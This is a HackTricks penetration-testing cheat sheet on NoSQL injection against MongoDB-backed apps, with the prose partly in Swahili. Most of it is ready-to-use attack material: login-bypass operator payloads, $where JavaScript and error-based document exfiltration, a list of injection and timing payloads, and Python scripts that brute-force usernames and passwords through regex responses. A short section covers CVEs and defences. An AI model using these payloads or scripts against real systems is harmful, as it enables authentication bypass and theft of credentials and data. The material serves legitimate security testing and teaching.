NoSQL injection

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Exploit

Katika PHP unaweza kutuma Array kwa kubadilisha kigezo kilichotumwa kutoka parameter=foo hadi parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Kupitisha Basic authentication

Kutumia not equal ($ne) au greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

Mdukuzi anaweza kutumia hili kwa kuingiza strings kama admin' || 'a'=='a, na kufanya query irudishe hati zote kwa kuridhisha sharti kwa kutumia tautolojia ('a'=='a'). Hii ni sawa na SQL injection attacks ambapo maingizo kama ' or 1=1-- - hutumika kuathiri SQL queries. Katika MongoDB, injections zinazofanana zinaweza kufanywa kwa kutumia maingizo kama ' || 1==1//, ' || 1==1%00, au admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Chota taarifa za urefu

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Toa taarifa za data

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Kutumia operator ya $func ya maktaba ya MongoLite (inayotumika kwa chaguo-msingi) kunaweza kuruhusu execute an arbitrary function kama ilivyo katika this report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Pata taarifa kutoka collection tofauti

Inawezekana kutumia $lookup kupata taarifa kutoka collection tofauti. Katika mfano ufuatao, tunasoma kutoka collection tofauti iitwayo users na kupata matokeo ya rekodi zote zenye password inayolingana na wildcard.

KUMBUKA: $lookup na kazi nyingine za aggregation zinapatikana tu ikiwa aggregate() ilitumiwa kufanya utafutaji badala ya kazi za kawaida find() au findOne().

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Weka throw new Error(JSON.stringify(this)) katika klausi ya $where ili exfiltrate hati kamili kupitia makosa ya JavaScript upande wa seva (inahitaji programu ku-leak makosa ya database). Mfano:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Ikiwa application inaleaks tu the first failing document, hakikisha dump inaendelea kuwa deterministic kwa kuondoa documents ambazo tayari umezipata. Kulinganisha dhidi ya last leaked _id ni paginator rahisi:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

Kuishinda pre/post conditions katika syntax injection

Wakati programu inajenga filter ya Mongo kama string kabla ya kuchakata, syntax injection haibaki imezuilika kwa uwanja mmoja tu na mara nyingi unaweza kuizimisha masharti yanayozunguka.

Katika $where injections, JavaScript truthy values na poison null bytes bado ni muhimu kuharibu masharti yaliyofuata:

' || 1 || 'x
' || 1%00

Katika raw JSON filter injection, vifunguo vinavyojirudia vinaweza kupindua vikwazo vya awali kwenye parsers zinazofuata sera ya last-key-wins:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

Mbinu hii inategemea parser na inatumika tu wakati programu inakusanya JSON kwa string concatenation/interpolation kwanza. Haiwezi kutumika wakati backend inahifadhi query kama structured object kutoka mwanzo hadi mwisho.

CVEs za Karibuni & Real-World Exploits (2023-2025)

Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359

Versions ≤ 6.0.0 zilifunua Meteor method listEmojiCustom ambayo ilipitisha user-controlled selector object moja kwa moja kwa find(). Kwa kuingiza operators kama {"$where":"sleep(2000)||true"} an unauthenticated attacker angeweza kujenga timing oracle na exfiltrate documents. Hitilafu ilirekebishwa katika 6.0.1 kwa validating selector shape na stripping dangerous operators.

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

Ikiwa programu inapita attacker-controlled objects ndani ya populate({ match: ... }), vulnerable Mongoose versions zinaruhusu $where-based search injection ndani ya populate filter. CVE-2024-53900 ilihusu kesi ya top-level; CVE-2025-23061 ilihusu bypass ambapo $where ilikuwa nested chini ya operators kama $or.

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

Tumia orodha ya kuruhusu (allow-list) na tengeneza ramani ya scalars waziwazi badala ya kupeleka request object nzima. Mongoose pia inaunga mkono sanitizeFilter ili kufunika nested operator objects ndani ya $eq, lakini inapaswa kuchukuliwa kama neti ya usalama badala ya mbadala wa ramani wazi ya filter:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo — mkanganyiko wa vichujio

Resolvers zinazotuma args.filter moja kwa moja ndani ya collection.find() zinabaki hatarini:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mikakati ya kupunguza hatari: ondoa kwa rekursi funguo ambazo zinaanza na $, ramanishe opereta zilizoruhusiwa kwa uwazi, au thibitisha kwa kutumia maktaba za schema (Joi, Zod).

Mwongozo mfupi wa ulinzi (imeboreshwa 2025)

  1. Ondoa au kataza funguo ambazo zinaanza na $; ikiwa Express iko mbele ya Mongo/Mongoose, safisha req.body, req.query, na req.params kabla hazijafika kwa ORM.
  2. Zima JavaScript upande wa server kwenye MongoDB inayojiendesha mwenyewe (--noscripting au security.javascriptEnabled: false) ili $where na JS sinks zinazofanana zisipatikane.
  3. Pendelea $expr na typed query builders badala ya $where.
  4. Thibitisha aina za data mapema (Joi/Ajv/Zod) na kataza arrays au objects pale scalars zinapotarajiwa ili kuepuka mbinu za [$ne].
  5. Kwa GraphQL, tafsiri vigezo vya filter kupitia orodha ya kuruhusu; usisambaze objects zisizoaminika ndani ya filters za Mongo/Mongoose.

MongoDB Payloads

Orodha from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords kutoka kwa POST login

Hii ni script rahisi ambayo unaweza kuibadilisha, lakini tools zilizotangulia pia zinaweza kufanya kazi hii.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Zana

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks